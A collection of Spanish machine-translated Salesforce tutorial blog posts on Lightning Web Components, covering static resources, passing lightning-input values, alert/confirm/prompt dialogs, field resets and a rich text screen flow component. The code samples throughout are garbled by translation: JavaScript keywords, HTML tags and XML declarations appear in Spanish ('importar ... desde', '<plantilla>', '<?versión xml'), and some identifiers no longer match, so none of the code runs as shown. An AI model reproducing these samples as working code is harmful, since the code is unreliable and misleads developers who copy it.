Los recursos estáticos le permiten cargar contenido al que puede hacer referencia en un Componente Lightning Web Component, incluidos archivos comprimidos (como archivos .zip y .jar), imágenes, hojas de estilo, JavaScript y otros archivos. Los recursos estáticos solo se pueden utilizar dentro de su organización de Salesforce, por lo que no puede alojar contenido aquí para otras aplicaciones o sitios web.

Para acceder a los recursos estáticos en los componentes web Lightning, primero debemos importar desde @salesforce/resourceUrl al archivo JavaScript del componente.

La sintaxis para importar recursos estáticos en Lightning Web Component


importar myResource desde '@salesforce/resourceUrl/resourceReference';

Cuando el recurso estático tiene un espacio de nombres


importar myResource desde '@salesforce/resourceUrl/namespace__resourceReference';
  • myResource : un nombre que hace referencia al recurso estático.
  • resourceReference : el nombre del recurso estático. Un nombre de recurso estático puede contener solo guiones bajos y caracteres alfanuméricos y debe ser único en su organización. Debe comenzar con una letra, no incluir espacios, no terminar con un guión bajo y no contener dos guiones bajos consecutivos.
  • espacio de nombres : si el recurso estático está en un paquete administrado, este valor es el espacio de nombres del paquete administrado.

¿Cómo acceder a los archivos de activos de contenido en el componente web Lightning?

Para acceder a archivos de activos de contenido en componentes web Lightning, primero debemos importar desde @salesforce/contentAssetUrl al archivo JavaScript del componente. Convierta un archivo de Salesforce en un archivo de activos de contenido para utilizar el archivo en aplicaciones personalizadas y plantillas de Experience Builder.

La sintaxis para importar archivos de activos de contenido en Lightning Web Component


importar myContentAsset desde '@salesforce/contentAssetUrl/contentAssetReference';

Cuando el recurso estático tiene un espacio de nombres


importar myContentAsset desde '@salesforce/contentAssetUrl/namespace__contentAssetReference';
  • myContentAsset : un nombre que hace referencia al archivo de recursos.
  • contentAssetReference : el nombre del archivo de recursos. Un nombre de archivo de activo puede contener solo guiones bajos y caracteres alfanuméricos, y debe ser único en su organización. Debe comenzar con una letra, no incluir espacios, no terminar con un guión bajo y no contener dos guiones bajos consecutivos.
  • espacio de nombres : si el archivo de activos está en un paquete administrado, este valor es el espacio de nombres del paquete administrado.

El código JavaScript importa dos archivos de activos de contenido. Un archivo de activos de contenido puede ser un archivo de almacenamiento con una estructura de directorio anidada. Para hacer referencia a un elemento en un archivo, concatene una cadena para crear la ruta al elemento, como lo hace el ejemplo para construir silverPartnerLogoUrl .

Para especificar la ruta al archivo de activos de contenido en el archivo, utilice el parámetro pathinarchive .


// contentAssetFileExample.js
importar { LightningElement } desde 'lwc';
importar COMPANY_LOGO desde '@salesforce/contentAssetUrl/SalesWaveLogo';
importar PARTNER_LOGOS desde '@salesforce/contentAssetUrl/PartnerLogos'; exportar clase predeterminada AssetFileExample extiende LightningElement { // Exponer la URL del archivo de recursos para su uso en la plantilla empresaLogoUrl = EMPRESA_LOGO; // Exponer la URL de los activos incluidos dentro de un archivo de almacenamiento silverPartnerLogoUrl = PARTNER_LOGOS + 'pathinarchive=images/silver_partner.png'; }

<!-- contentAssetFileExample.html -->
<plantilla> <lightning-card title="Ejemplo de archivo de activos de contenido" icon-name="custom:custom19"> <div class="slds-m-alrededor_medio"> <img src={url del logotipo de la empresa}> <img src={silverPartnerLogoUrl}> </div> </tarjeta-relámpago>
</plantilla>

Enfoque de Campeón de Automatización (I-do):

Hay 3 pasos para resolver el requisito empresarial de Rachel utilizando el componente web Lightning y el recurso estático . Debemos:

  1. Cargue el logotipo de Automation Champion como un recurso estático
  2. Cargue la carpeta zip SLDS Icons como un recurso estático
  3. Importe y use recursos estáticos en el componente web lightning

1. Cargue el logotipo de Automation Champion como un recurso estático

Cargue el logotipo de Automation Champion, como un único archivo .png en el recurso estático. Seleccione Público en la lista desplegable de control de caché.

2. Cargue la carpeta Zip de iconos de SLDS como un recurso estático

Descargue la carpeta Zip de SLDS Icons y luego cárguela como un archivo zip en el recurso estático. Seleccione Público en la lista desplegable de control de caché.

Importe y utilice recursos estáticos en el componente web Lightning

Después de cargar imágenes en un recurso estático, ahora podemos usarlas en Lightning Web Component.

staticResourceExample.js-meta.xml

Se puede utilizar un componente web lightning para crear páginas personalizadas para Lightning Experience y la aplicación móvil Salesforce rápidamente con herramientas de apuntar y hacer clic. Asegúrese de agregar el objetivo correcto para ello.

Este archivo de configuración hace que el componente esté disponible para todos los tipos de páginas Lightning, pero restringe la compatibilidad en la página de inicio solo para escritorios.


<?versión xml="1.0" codificación="UTF-8"?>
<LightningComponentBundle xmlns="http://soap.sforce.com/2006/04/metadatos"> <apiVersion>54.0</apiVersion> <isExposed>verdadero</isExposed> <objetivos> <target>relámpago__RecordPage</target> <target>relámpago__AppPage</target> <objetivo>relámpago__Página de inicio</objetivo> </objetivos>
</LightningComponentBundle>

ejemplo de recurso estático .html

Para hacer referencia a un recurso en una plantilla, use la sintaxis {propiedad } , que es la misma sintaxis que usamos para hacer referencia a cualquier propiedad de JavaScript.


<!-- staticResourceExample.html -->
<plantilla> <lightning-card title="Ejemplo de recurso estático" icon-name="custom:custom36"> <div class="slds-m-alrededor_medio"> <img src={automationChampionLogoUrl}> <img src={productWarrantyTermUrl}> </div> </tarjeta-relámpago>
</plantilla>

ejemplo de recurso estático .js

El código JavaScript importa dos recursos: el logotipo de Automation Champion y una imagen de un icono de Término de garantía del producto.


// ejemplo de recurso estático.js
importar { LightningElement } desde 'lwc';
importar AUTOMATION_CHMAPION_LOGO desde '@salesforce/resourceUrl/Automation_Champion';
importar PRODUCT_WARRANTY_ICON desde '@salesforce/resourceUrl/slds_icons'; exportar clase predeterminada staticResourceExample extiende LightningElement { // Exponer la URL del recurso estático para usar en la plantilla automatizaciónChampionLogoUrl = AUTOMATIZACIÓN_CHMAPION_LOGO; // Exponer la URL del icono del plazo de garantía del producto incluido dentro de un archivo de almacenamiento productWarrantyTermUrl = PRODUCT_WARRANTY_ICON + '/utility/product_warranty_term_60.png'; }

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://automationchampion.com/2022/06/20/access-static-resource-in-lightning-web-component-2/

Categories
Developers

Pase el valor del campo de entrada Lightning de un clic de botón al controlador de componentes web Lightning

Última actualización el 19 de junio de 2022 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo pasar el valor del campo de entrada de rayos como un parámetro al método de clase del controlador en el Componente web Lightning?

Objetivos:

Después de leer este blog, podrá:

  • Comprender qué es el campo de entrada de rayos y cómo trabajar con ellos
  • Comprenda cuándo usar querySelector vs querySelectorAll para acceder al elemento
  • Use el atributo de datos personalizados para consultar o configurar el componente lwc
  • Pase el valor del campo de entrada lightning al controlador del componente web lightning (lwc)

En el pasado se escribieron algunos artículos sobre Lightning Web Component . ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Cómo implementar la representación condicional en el componente web Lightning
  2. Obtener información sobre el usuario que inició sesión en el componente web Lightning

Rachel Gillett trabaja como desarrolladora junior en Gurukul on Cloud (GoC). Comenzó a aprender el componente web lightning y se preguntaba si alguien podría ayudarla a entender cómo crear la siguiente pantalla y pasar los valores de los campos móviles y de correo electrónico al controlador de JavaScript de lwc con un clic en el botón ( Siguiente ).

¿Qué es un componente de entrada de rayos ?

El componente lightning-input se utiliza para crear formularios interactivos para aceptar datos del usuario; una amplia variedad de tipos de tipos de entrada y atributos están disponibles, dependiendo de los casos de uso. El elemento de entrada de rayos es uno de los más poderosos y complejos en todos los componentes de LWC debido a la gran cantidad de combinaciones de tipos de entrada y atributos.

Este componente admite los siguientes tipos de entrada:

  • caja
  • botón de casilla de verificación
  • fecha
  • fecha y hora
  • tiempo
  • Email
  • expediente
  • clave
  • búsqueda
  • teléfono
  • URL
  • número
  • texto (predeterminado)
  • palanca

Atributos de datos en componentes web Lightning

Mientras trabajamos con un componente web lightning, a veces queremos pasar los valores de los componentes a JavaScript con un clic de botón. Puede hacer esto de muchas maneras, y el atributo de datos es una de ellas.

Por ejemplo, estamos mostrando un formulario con pocos campos de entrada. Queremos pasar los valores ingresados al archivo JavaScript del componente al hacer clic en el botón. Para lograr esto, cree los atributos personalizados agregando cualquier cadena a data- y brindándole la información, como data-name , data-element , data-title , etc. Recuerde, solo puede ingresar valores de cadena en el atributos de datos.

Sintaxis


<entrada de rayo escriba = "correo electrónico" elemento de datos = "correo electrónico de entrada de usuario" label="Dirección de correo electrónico"> </relámpago-entrada>

Uso de querySelector y querySelectorAll

QuerySelector() y querySelectorAll() son API DOM disponibles en los navegadores web modernos. Se utilizan para consultar elementos DOM que coinciden con un selector específico.

La diferencia entre estos dos es que querySelector() devuelve un único elemento que coincide con sus criterios de selección. querySelectorAll() , por otro lado,   devuelve todos los elementos que coinciden con los criterios de búsqueda en una lista iterable.

Sintaxis


this.template.querySelector('p'); // Selecciona el primer elemento del párrafo en el documento
this.template.querySelectorAll('p'); // Selecciona todos los elementos de párrafo en el documento
this.template.querySelectorAll('[objetivo]'); //Obtener todos los elementos que contienen el atributo objetivo

Enfoque de Campeón de Automatización (I-do):

Ahora tiene una comprensión básica de todos los ingredientes que necesitamos para construir el componente Lightning Web para el requisito comercial dado. Empecemos

lightningInputExample.js-meta.xml

Se puede utilizar un componente web lightning para crear páginas personalizadas para Lightning Experience y la aplicación móvil Salesforce rápidamente con herramientas de apuntar y hacer clic. Asegúrese de agregar el objetivo correcto para ello.

Este archivo de configuración de muestra hace que el componente esté disponible para todos los tipos de páginas Lightning.


<?versión xml="1.0" codificación="UTF-8"?>
<LightningComponentBundle xmlns="http://soap.sforce.com/2006/04/metadatos"> <apiVersion>54.0</apiVersion> <isExposed>verdadero</isExposed> <objetivos> <target>relámpago__RecordPage</target> <target>relámpago__AppPage</target> <objetivo>relámpago__Página de inicio</objetivo> </objetivos>
</LightningComponentBundle>

lightningInputExample.html

Cada componente de la interfaz de usuario debe tener un archivo HTML con la etiqueta raíz <plantilla> . La plantilla contiene dos etiquetas de entrada relámpago que crean entrada para correo electrónico y dispositivos móviles. La plantilla incluye un botón relámpago (Siguiente) con el método onclick handleNext .

Es posible usar atributos de elementos de datos en el componente de entrada de rayos para pasar detalles de correo electrónico y móvil a javascript para mayor lógica. Pero usaremos el evento onchange y almacenaremos los valores en variables en el controlador LWC.

Cuando un usuario hace clic en el botón Siguiente , llamará a un método JavaScript handleNext() que usará   Variables para obtener los valores de los campos de correo electrónico y móvil.


<!-- EjemploEntradaRelámpago.html -->
<plantilla> <formulario> <div class="slds-p-top_small slds-p-bottom_medium slds-align_absolute-center slds-theme_default slds-text-heading_medium"> <b>Ejemplo de entrada Lightning</b></div> <div class="slds-box slds-theme_default"> <entrada de rayo escriba = "correo electrónico" label="Dirección de correo electrónico" valor = {valor de correo electrónico} onchange={handleEmailChange}> </relámpago-entrada> <entrada de rayo tipo = "tel" nombre="móvil" etiqueta="Móvil" valor={valor móvil} onchange={handleMobileChange}> </relámpago-entrada> <div class="slds-m-top_small slds-align_absolute-center"> <botón-relámpago variante="Neutro" etiqueta="Cancelar" clase="slds-m-izquierda_x-pequeña" onclick={manejarCancelar}> </botón-relámpago> <botón-relámpago variante="marca" clase="slds-m-izquierda_x-pequeña" etiqueta="Siguiente" onclick={manejarSiguiente}> </botón-relámpago> </div> </div> </formulario>
</plantilla>

lightningInputExample.js

Use variables del controlador LWC para obtener el correo electrónico y los valores móviles. La alerta mostrará el valor de correo electrónico y móvil al hacer clic en el botón Siguiente .


importar { LightningElement } desde 'lwc'; exportar clase predeterminada InputExample extiende LightningElement() { valoremail="nombredeusuario@ejemplo.com"; valor móvil = "000-000-0000"; handleEmailChange(evento){ this.emailvalue = event.target.value; } handleMobileChange(evento){ this.mobilevalue = event.target.value; } manejarSiguiente() { alert('email '+ this.emailvalue); alert('Móvil '+ este.valormóvil); }
}

Prueba de concepto

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://automationchampion.com/2022/06/16/pass-lightning-input-field-value-from-a-button-click-to-lightning-web-component-controller-2/

Categories
Developers

Agregar cuadro de diálogo de confirmación, alerta y aviso al componente web Lightning


Gran idea o pregunta duradera:

  • ¿Cómo mostrar una alerta, una confirmación o un aviso con el componente web lightning al realizar acciones específicas?

Objetivos:

Después de leer este blog, podrá:

  • Comprender la diferencia entre el cuadro de diálogo modelo de alerta, confirmación o solicitud
  • Agregue un modal de alerta dentro de su componente web lightning
  • Agregue un modal de confirmación dentro de su componente web lightning
  • Agregue un modal rápido dentro de su componente web lightning
  • Seguimiento del resultado de la acción del usuario para el cuadro de diálogo del modelo
  • y mucho más

En el pasado se escribieron algunos artículos sobre Lightning Web Component . ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Cómo implementar la representación condicional en el componente web Lightning
  2. Obtener información sobre el usuario que inició sesión en el componente web Lightning
  3. Pasar el valor del campo de entrada Lightning de un clic de botón al controlador de componentes web Lightning
  4. Restablecer el campo de entrada Lightning al hacer clic en un botón en el componente web Lightning

Rachel Gillett trabaja como desarrolladora junior en Gurukul on Cloud (GoC). Hasta ahora, creó este formulario , aprendió cómo pasar los valores ingresados por el usuario al controlador del componente web Lightning y restableció los campos de entrada cuando un usuario hace clic en el botón Cancelar, como se muestra a continuación:

Ahora quiere brindar la posibilidad de revisar la acción del botón de cancelación mostrando una ventana emergente de confirmación como se muestra a continuación. Si los usuarios seleccionan el botón Aceptar , restablezcan el valor del campo de entrada; de lo contrario, no realice ninguna acción.

Cuadro de notificación de alerta

El cuadro emergente de alerta se usa básicamente para mostrar un mensaje o una advertencia para el usuario. El objetivo principal de la función de alerta es mostrar un mensaje al usuario que contiene información crítica.

Utilice LightningAlert en sus componentes para comunicar un estado que afecta a todo el sistema, no solo a una función o página. LightningAlert.open() no detiene la ejecución en la página; devuelve una Promesa. Use async/ await o .then() para cualquier código que desee ejecutar después de que se haya cerrado la alerta.

Importe LightningAlert desde el módulo lightning/alert en el componente que lanzará el modo de alerta y llame a LightningAlert.open() con los atributos deseados.

El ejemplo anterior crea un modal de alerta con un mensaje de error y un botón Aceptar . La función .open() devuelve una promesa que se resuelve cuando el usuario hace clic en Aceptar .


<!-- EjemploEntradaRelámpago.html -->
<plantilla> <formulario> <div class="slds-p-top_small slds-p-bottom_medium slds-align_absolute-center slds-theme_default slds-text-heading_medium"> <b>Ejemplo de entrada Lightning</b></div> <div class="slds-box slds-theme_default"> <entrada de rayo escriba = "correo electrónico" elemento de datos = "correo electrónico de entrada de usuario" label="Dirección de correo electrónico" value="nombredeusuario@ejemplo.com"> </relámpago-entrada> <entrada de rayo data-element="usuario-entrada-móvil" tipo = "tel" nombre="móvil" etiqueta="Móvil" valor="000-000-0000"> </relámpago-entrada> <div class="slds-m-top_small slds-align_absolute-center"> <botón-relámpago variante="Neutro" etiqueta="Cancelar" clase="slds-m-izquierda_x-pequeña" onclick={manejarCancelar}> </botón-relámpago> <botón-relámpago variante="marca" clase="slds-m-izquierda_x-pequeña" etiqueta="Siguiente" onclick={manejarSiguiente}> </botón-relámpago> </div> </div> </formulario>
</plantilla>

//LightningInputExample.js
importar { LightningElement, api } desde 'lwc';
importar LightningAlert desde 'relámpago/alerta'; exportar clase predeterminada InputExample extiende LightningElement() { manejarSiguiente() { } asincrónico handleCancel(){ espera LightningAlert.open({ mensaje: 'este es el mensaje de alerta', tema: 'error', etiqueta: '¡Error!', variante: 'encabezado', }); }
}

Cuadro de notificación rápida

El cuadro emergente de solicitud es una forma de mostrar un mensaje y obtener datos del usuario. El cuadro de solicitud se usa para obtener un solo dato del usuario, que podría usarse para realizar tareas basadas en la respuesta. El cuadro de aviso se puede utilizar para tareas como preguntar el nombre del usuario o la edad, el sexo, etc.

El módulo lightning/prompt le permite crear un modal de solicitud dentro de su componente. Utilice LightningPrompt en sus componentes para pedirle al usuario que proporcione información antes de continuar.

Importe LightningAlert desde el módulo lightning/prompt en el componente que iniciará el modo de aviso y llame a LightningPrompt.open() con los atributos deseados.

Este ejemplo crea un mensaje modal con un encabezado, un mensaje y dos botones. Si el usuario ingresa texto y hace clic en Aceptar en el indicador, la función .open() devuelve una promesa que se resuelve en el valor de entrada. Si el usuario hace clic en Cancelar , la función devuelve una promesa que se resuelve en nulo.


<!-- EjemploEntradaRelámpago.html -->
<plantilla> <formulario> <div class="slds-p-top_small slds-p-bottom_medium slds-align_absolute-center slds-theme_default slds-text-heading_medium"> <b>Ejemplo de entrada Lightning</b></div> <div class="slds-box slds-theme_default"> <entrada de rayo escriba = "correo electrónico" elemento de datos = "correo electrónico de entrada de usuario" label="Dirección de correo electrónico" value="nombredeusuario@ejemplo.com"> </relámpago-entrada> <entrada de rayo data-element="usuario-entrada-móvil" tipo = "tel" nombre="móvil" etiqueta="Móvil" valor="000-000-0000"> </relámpago-entrada> <div class="slds-m-top_small slds-align_absolute-center"> <botón-relámpago variante="Neutro" etiqueta="Cancelar" clase="slds-m-izquierda_x-pequeña" onclick={manejarCancelar}> </botón-relámpago> <botón-relámpago variante="marca" clase="slds-m-izquierda_x-pequeña" etiqueta="Siguiente" onclick={manejarSiguiente}> </botón-relámpago> </div> </div> </formulario>
</plantilla>

//LightningInputExample.js
importar { LightningElement, api } desde 'lwc';
importar LightningPrompt desde 'lightning/prompt'; exportar clase predeterminada InputExample extiende LightningElement() { manejarSiguiente() { } asincrónico handleCancel(){ const resultado = esperar LightningPrompt.open({ mensaje: '¿Cuál es tu género?', tema: 'advertencia', etiqueta: '¡Por favor responda!', variante: 'encabezado', valor por defecto: '', }); if(resultado=='masculino'){ //añadir lógica para hombre } else if (resultado=='femenino'){ // agregar lógica para mujer } más{ // logica para el resto } }
}

Enfoque de Campeón de Automatización (I-do):

Ahora volvamos a nuestro caso de uso original, en el que Rachel desea brindar la posibilidad de revisar la acción del botón de cancelación mostrando una ventana emergente de confirmación. Si los usuarios seleccionan el botón Aceptar , restablezcan el valor del campo de entrada ; de lo contrario, no realice ninguna acción. Antes de continuar, dediquemos unos minutos a comprender un cuadro de notificación de confirmación y cómo implementarlo en el controlador del componente web lightning.

Cuadro de notificación de confirmación

El cuadro emergente de confirmación muestra un mensaje a los usuarios solicitando su confirmación para continuar con un evento que han desencadenado. Un ejemplo del cuadro de confirmación sería la ventana emergente en el navegador del usuario para confirmar su acción.

El cuadro emergente de confirmación permite a los usuarios elegir al proporcionarles una opción de dos botones. Cuando los usuarios hacen clic en el botón, se realiza la tarea vinculada al botón en el que se hizo clic. Los dos botones que proporciona el cuadro de confirmación son Aceptar y Cancelar .

lightningInputExample.js-meta.xml

Se puede utilizar un componente web lightning para crear páginas personalizadas para Lightning Experience y la aplicación móvil Salesforce rápidamente con herramientas de apuntar y hacer clic. Asegúrese de agregar el objetivo correcto para ello.

Este archivo de configuración de muestra hace que el componente esté disponible para todos los tipos de páginas Lightning.


<?versión xml="1.0" codificación="UTF-8"?>
<LightningComponentBundle xmlns="http://soap.sforce.com/2006/04/metadatos"> <apiVersion>54.0</apiVersion> <isExposed>verdadero</isExposed> <objetivos> <target>relámpago__RecordPage</target> <target>relámpago__AppPage</target> <objetivo>relámpago__Página de inicio</objetivo> </objetivos>
</LightningComponentBundle>

lightningInputExample.html

Cada componente de la interfaz de usuario debe tener un archivo HTML con la etiqueta raíz <plantilla> . La plantilla contiene dos etiquetas de entrada relámpago que crean entrada para correo electrónico y dispositivos móviles. La plantilla incluye dos botones de rayos . El primer botón ( Siguiente ) se usa para pasar el valor al componente de JavaScript, mientras que el segundo botón ( Cancelar ) se usa para restablecer los campos de entrada.

Cuando un usuario hace clic en el botón Cancelar , llamará a un método de JavaScript handleCancel() que utilizará LightningConfirm.open () que iniciará el modal de confirmación.


<!-- EjemploEntradaRelámpago.html -->
<plantilla> <formulario> <div class="slds-p-top_small slds-p-bottom_medium slds-align_absolute-center slds-theme_default slds-text-heading_medium"> <b>Ejemplo de entrada Lightning</b></div> <div class="slds-box slds-theme_default"> <entrada de rayo escriba = "correo electrónico" elemento de datos = "correo electrónico de entrada de usuario" label="Dirección de correo electrónico" value="nombredeusuario@ejemplo.com"> </relámpago-entrada> <entrada de rayo data-element="usuario-entrada-móvil" tipo = "tel" nombre="móvil" etiqueta="Móvil" valor="000-000-0000"> </relámpago-entrada> <div class="slds-m-top_small slds-align_absolute-center"> <botón-relámpago variante="Neutro" etiqueta="Cancelar" clase="slds-m-izquierda_x-pequeña" onclick={manejarCancelar}> </botón-relámpago> <botón-relámpago variante="marca" clase="slds-m-izquierda_x-pequeña" etiqueta="Siguiente" onclick={manejarSiguiente}> </botón-relámpago> </div> </div> </formulario>
</plantilla>

lightningInputExample.js

Este controlador de JavaScript crea un modal de confirmación con dos botones, Aceptar y Cancelar . La función .open() devuelve una promesa que se resuelve en verdadero (y restablece los campos de entrada) cuando un usuario hace clic en Aceptar y en falso (no hacer nada) cuando el usuario hace clic en Cancelar .


importar { LightningElement, api } desde 'lwc';
importar LightningConfirm desde 'relámpago/confirmar'; exportar clase predeterminada InputExample extiende LightningElement() { manejarSiguiente() { alert('email '+ this.template.querySelector('[data-element="user-input-email"]').value); alert('Mobile '+ this.template.querySelector('[data-element="user-input-mobile"]').value,); } asincrónico handleCancel(){ const resultado = esperar LightningConfirm.open({ mensaje: '¿Está seguro de que desea restablecer los campos?', variante: 'encabezado', etiqueta: 'Por favor, confirme', tema: 'error', }); si (resultado == verdadero) { this.template.querySelector('[data-element="user-input-email"]').value= "username@example.com"; this.template.querySelector('[data-element="user-input-mobile"]').value="000-000-0000"; } }
}

Prueba de concepto

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://automationchampion.com/2022/06/18/add-confirmation-alert-and-prompt-dialog-box-to-lightning-web-component/

Categories
Developers

Restablecer el campo de entrada Lightning al hacer clic en el botón en el componente web Lightning

Última actualización el 17 de junio de 2022 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo restablecer el campo de entrada de rayos a su valor predeterminado o nulo?

Objetivos:

Después de leer este blog, podrá:

  • Restablecer el valor del campo de entrada a su valor predeterminado
  • Restablecer el valor del campo de entrada a Nulo
  • y mucho más

En el pasado se escribieron algunos artículos sobre Lightning Web Component . ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Cómo implementar la representación condicional en el componente web Lightning
  2. Obtener información sobre el usuario que inició sesión en el componente web Lightning

Rachel Gillett trabaja como desarrolladora junior en Gurukul on Cloud (GoC). Hasta ahora, ha creado este formulario y puede pasar el valor ingresado por el usuario a LWC javaScript.

Ahora quiere agregar un botón Cancelar que permita a los usuarios restablecer los valores de campo a su valor original , como se muestra a continuación:

requisitos previos

Lea primero este artículo y asegúrese de haber entendido querySelector() y querySelectorAll() .

  1. Pasar el valor del campo de entrada Lightning de un clic de botón al controlador de componentes web Lightning

Restablecer el valor del campo de entrada a nulo: uso del elemento de botón

Si usa un elemento de botón HTML dentro del formulario para realizar una acción como restablecer los valores de campo, especifique type="reset" . El uso de type=”reset” en un botón elimina los valores del formulario y no conserva los valores iniciales.

 <botón-relámpago
variante="Neutro"
etiqueta="Cancelar"
clase="slds-m-izquierda_x-pequeña"
tipo="restablecer" >
</botón-relámpago>

Este ejemplo crea un formulario con dos campos, seguidos de los botones Cancelar y Siguiente . Cuando hace clic en el botón Cancelar , restablece los valores y no conserva los valores iniciales.

Restablecer el valor del campo de entrada a nulo: utilizando el método Reset ()

El componente web Lightning no proporciona su propio Cancelar y Guardar . Para crear su propio botón Cancelar que revierte los valores de los campos, incluya un componente de botón relámpago que llame al método reset() .

 <botón-relámpago
variante="Neutro"
etiqueta="Cancelar"
clase="slds-m-izquierda_x-pequeña"
onclick={manejarCancelar} >
</botón-relámpago>
 importar { LightningElement, api } desde 'lwc';
exportar clase predeterminada InputExample extiende LightningElement() {
manejarCancelar(){ this.template.querySelector('formulario').reset(); }
}

Este ejemplo crea un formulario con dos campos, seguidos de los botones Cancelar y Siguiente . Cuando hace clic en el botón Cancelar , el método handleCancel restablece los campos a sus valores iniciales.

Enfoque de Campeón de Automatización (I-do):

Ahora tiene una comprensión básica de todos los ingredientes que necesitamos para construir el componente Lightning Web para el requisito comercial dado. Empecemos

lightningInputExample.js-meta.xml

Se puede utilizar un componente web lightning para crear páginas personalizadas para Lightning Experience y la aplicación móvil Salesforce rápidamente con herramientas de apuntar y hacer clic. Asegúrese de agregar el objetivo correcto para ello.

Este archivo de configuración de muestra hace que el componente esté disponible para todos los tipos de páginas Lightning.

lightningInputExample.html

Cada componente de la interfaz de usuario debe tener un archivo HTML con la etiqueta raíz <plantilla> . La plantilla contiene dos etiquetas de entrada relámpago que crean entrada para correo electrónico y dispositivos móviles. La plantilla incluye dos botones de rayos . El primer botón ( Siguiente ) se usa para pasar el valor al componente de JavaScript, mientras que el segundo botón ( Cancelar ) se usa para restablecer los campos de entrada.

He agregado atributos de elementos de datos en el componente de entrada de rayos para obtener o establecer detalles de correo electrónico y móvil a/desde javascript para mayor lógica.

Cuando un usuario hace clic en el botón Cancelar , llamará a un método JavaScript handleCancel() que usará querySelector() para configurar el correo electrónico y el dispositivo móvil en su valor original.

lightningInputExample.js

Llame al método reset() en el controlador de JavaScript para restablecer el campo de entrada a su valor original. Para ello, utilizaremos querySelector().

Prueba de concepto

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Esta es una traducción realizada por EGA Futura, y este es el link a la publicación original: https://automationchampion.com/2022/06/17/reset-lightning-input-field-on-button-click-in-lightning-web-component/

Categories
Developers

Componente de área de texto enriquecido para Screen Flow

Última actualización el 10 de junio de 2022 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo agregar un campo de área de texto enriquecido a una pantalla de flujo?

Objetivos:

Después de leer este blog, podrá:

  • Crear un componente web Lightning para flujo de pantalla
  • Agregar un editor de propiedades personalizado para un componente de pantalla
  • Agregar un componente web Lightning a una pantalla de flujo
  • Asigne el valor del componente web lightning personalizado a un campo de área de texto (enriquecido)
  • y mucho más

Rachel Gillett trabaja como desarrolladora junior en Gurukul on Cloud (GoC). Ella recibió un requerimiento de la gerencia que requiere que él construya un componente web Lightning para el flujo de pantalla que permita a los representantes ingresar notas de ventas en un área de texto enriquecido y luego almacenar la entrada en un campo de área de texto (enriquecido) en la cuenta.

¿Por qué necesitamos un componente personalizado para Rich Text Area for Screen Flow?

La razón es sencilla. Salesforce Flow no tiene un componente listo para usar para Rich Text Area. Es por eso que necesitamos un componente web relámpago para habilitar un componente de área de texto enriquecido en la pantalla de flujo.

Personalizar la interfaz de usuario del componente de pantalla y acción en Flow Builder

Desarrolle un editor de propiedades personalizado que proporcione una interfaz de usuario simplificada para un administrador cuando configure un componente de pantalla personalizado o una acción invocable en Flow Builder. Un editor de propiedades personalizadas es un componente web Lightning que proporciona una interfaz de usuario personalizada para ingresar valores de entrada.

Este ejemplo crea un editor de propiedades personalizadas para un componente de pantalla de flujo personalizado que muestra #líneas visibles , Etiqueta de campo, Longitud de campo, Obligatorio , Valor de campo . El administrador establece el valor de estos componentes mediante un control deslizante en el editor de propiedades personalizadas del componente de volumen. Cuando los usuarios ejecutan el flujo, la pantalla de flujo muestra o usa los valores del administrador.

Enfoque de Campeón de Automatización (I-do):

Hay algunas soluciones posibles para el escenario empresarial anterior . Usaremos Lightning Web Component y Screen Flow para resolver el requisito.

Antes de discutir la solución, permítame mostrarle un diagrama de un flujo de proceso de alto nivel. Dedique unos minutos a repasar el siguiente diagrama de flujo y comprenderlo.

Comencemos a construir este proceso de automatización.

Práctica guiada (nosotros hacemos):

Hay 4 pasos para resolver el requisito empresarial de Rachel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un campo de área de texto (enriquecido) personalizado en la cuenta
  2. Cree un componente de área de texto enriquecido para Screen Flow utilizando el componente web lightning
  3. Pasos de flujo de Salesforce
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregar una pantalla para mostrar el componente personalizado Búsqueda de cuenta y Área de texto enriquecido
    3. Agregue un elemento de registros de actualización para actualizar una cuenta
  4. Agregue un flujo de pantalla a la página de inicio de Lightning

Paso 1: crear un campo de área de texto personalizado (enriquecido) en el objeto de cuenta

  1. Haga clic en Configuración .
  2. En el Administrador de objetos, escriba Cuenta .
  3. Seleccione Campos y relaciones , luego haga clic en Nuevo .
  4. Seleccione Área de texto (enriquecida) como tipo de datos y, a continuación, haga clic en Siguiente .
  5. Ingrese Etiqueta de campo y haga clic en la tecla de tabulación, se completará el nombre de la API .
  6. Como práctica recomendada, siempre ingrese una descripción .
  7. # Líneas visibles : 25
  8. Longitud : 32.768
  9. Configure la Seguridad a nivel de campo para los perfiles , asegúrese de configurar este campo como de solo lectura.
  10. No agregue este campo al diseño de página .
  11. Haga clic en Guardar.

Paso 2: Cree un componente de área de texto enriquecido para el flujo de pantalla utilizando el componente web Lightning

En primer lugar, cree un componente web Lightning de área de texto enriquecido con el siguiente código. Si no sabe cómo crear un componente Lightning, consulte esta guía para desarrolladores Crear un componente web Lightning .

ScreenFlowRichText.html

ScreenFlowRichText.js

ScreenFlowRichText.js-meta.xml

ScreenFlowRichText.css

Copie el código de GitHub o instálelo usando esta URL .

Paso 3.1: Definir propiedades de flujo

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos y luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   opción y haga clic en Crear y configurar el flujo.
